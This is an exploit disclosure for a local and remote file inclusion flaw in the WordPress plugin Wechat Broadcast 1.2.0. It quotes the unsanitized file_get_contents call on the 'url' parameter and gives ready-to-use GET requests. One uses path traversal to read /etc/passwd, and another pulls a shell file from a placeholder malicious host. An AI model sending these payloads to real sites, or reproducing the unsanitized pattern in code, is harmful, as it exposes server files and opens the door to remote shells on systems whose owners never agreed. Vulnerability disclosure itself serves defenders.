WordPress Wechat Broadcast 1.2.0 Local File Inclusion

`# Exploit Title: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion  
# Author: Manuel Garcia Cardenas  
# Date: 2018-09-19  
# Software link: https://es.wordpress.org/plugins/wechat-broadcast/  
# CVE: N/A  
  
# Description  
# This bug was found in the file: /wechat-broadcast/wechat/Image.php  
# echo file_get_contents(isset($_GET["url"]) ? $_GET["url"] : '');  
# The parameter "url" it is not sanitized allowing include local or remote files  
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol   
# to interact with the application.  
  
# PoC  
# The following URL have been confirmed that is vulnerable to local and remote file inclusion.  
  
GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd  
  
# Remote File Inclusion POC:  
  
GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=http://malicious.url/shell.txt  
  
`